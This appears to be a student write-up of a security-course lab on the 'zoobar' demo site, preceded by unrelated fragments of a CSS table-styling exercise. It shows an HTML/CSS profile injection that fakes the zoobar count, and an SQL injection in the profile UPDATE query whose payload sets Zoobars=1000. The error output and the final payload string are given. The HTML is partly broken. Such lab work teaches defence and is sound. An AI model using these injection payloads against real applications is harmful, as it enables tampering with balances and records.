The content should be described in a single HTML file, using a
element to display the main table.style1
style2
style2_3
style1_3
本文中采用了三套样式,p2a.css、p2b.css对应实验要求的CSS,p2c.css则是采用了模仿Bootstrap table的样式。
核心代码如下,通过javascript对DOM对象进行操作
"p2a.css" rel="stylesheet" type="text/css" id="css">
Write your profile in the zoobar website, make your zoobars appear more than you really own. That is, after you modify your profile, when others or yourself look up your profile, they will see more zoobars than you actually own.
1、插入IMG
在输入profile的textarea输入:
<img src="http://upload-images.jianshu.io/upload_images/688387-7e4ba3815c40a62e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" style="position:relative;top:-59px;right:-70px;width:34px;height:21px"/>
2、在Users中输入用户名“xl”,查看Profile
3、F12,定位到插入IMG,调节相应的CSS,修改后如下
1、查看源码,发现在处理$profile参数时,没有进行防止sql注入的相应的过滤。
$sql = "UPDATE Person SET Profile='$profile' ".
"WHERE PersonID=$user->id";
2、判断存在sql注入的问题,构造如下字符串:
hello', Zoobars=1000
报错:
<table align="center" border="1" cellspacing="0" style="background:white;color:black;width:80%;">
<tr><th colspan=2>Database Errorth>tr>
<tr><td align="right" valign="top">Message:td><td><b>MySQL Query fail:b> UPDATE Person SET Profile='hello', Zoobars=1000' WHERE PersonID=1td>tr>
<tr><td align="right" valign="top" nowrap>MySQL Error:td><td>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' WHERE PersonID=1' at line 1td>tr> <tr><td align="right">Date:td><td>Thursday, December 14, 2017 at 2:44:36 AMtd>tr>
<tr><td align="right">Script:td><td><a href="/index.php">/index.phpa>td>tr> <tr><td align="right">Referer:td><td><a href="https://localhost/index.php">https://localhost/index.phpa>td>tr> table>
hello
3、分析错误发现第二个‘没有与之匹配,再次修改为如下字串:
', Zoobars=1000, Profile='hello
4、sql注入成功,使得zoobars变为1000